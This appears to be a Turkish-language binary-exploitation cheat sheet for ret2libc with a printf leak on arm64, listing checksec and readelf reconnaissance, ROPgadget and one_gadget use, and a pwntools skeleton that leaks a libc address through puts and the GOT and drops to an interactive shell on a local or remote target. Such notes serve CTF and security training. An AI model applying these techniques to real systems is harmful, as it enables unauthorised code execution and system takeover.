Ret2lib + Printf leak - arm64
binexp rop
Ret2lib + Printf leak - arm64 bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.
Metodoloji
Section titled “Metodoloji”-
checksec + mimari + crash yüzeyini çıkar.
-
Leak veya write primitifini kur.
-
ROP/hook/AW2E ile kontrol akışı al.
-
Shell veya flag’i stabilize et.
Binary profil
Section titled “Binary profil”file ./vulnchecksec --file=./vulnpwn checksec ./vulnreadelf -l ./vuln | rg -i 'gnu_stack|interp'readelf -S ./vuln | rg -i 'got|plt|bss|fini'gdb -q ./vulnROP zinciri
Section titled “ROP zinciri”ROPgadget --binary ./vuln | headfrom pwn import *ell=ELF('./vuln'); rop=ROP(ell)print(rop.gadgets)ret2libc
Section titled “ret2libc”from pwn import *ell=ELF('./vuln'); libc=ELF('./libc.so.6')rop=ROP(ell)rop.puts(ell.got['puts']); rop.call(ell.symbols.main)one_gadget ./libc.so.6ldd ./vulnExploit iskeleti
Section titled “Exploit iskeleti”from pwn import *context.binary=ell=ELF('./vuln')p=process('./vuln')# p=remote('TARGET',1337)# leak → calc → write → controlp.interactive()python3 exploit.pyChecklist
Section titled “Checklist”[ ] fingerprint / profil alındı[ ] primitif veya erişim doğrulandı[ ] PoC etkiyi gösterdi[ ] kanıt paketlendi[ ] sonraki pivot not edildi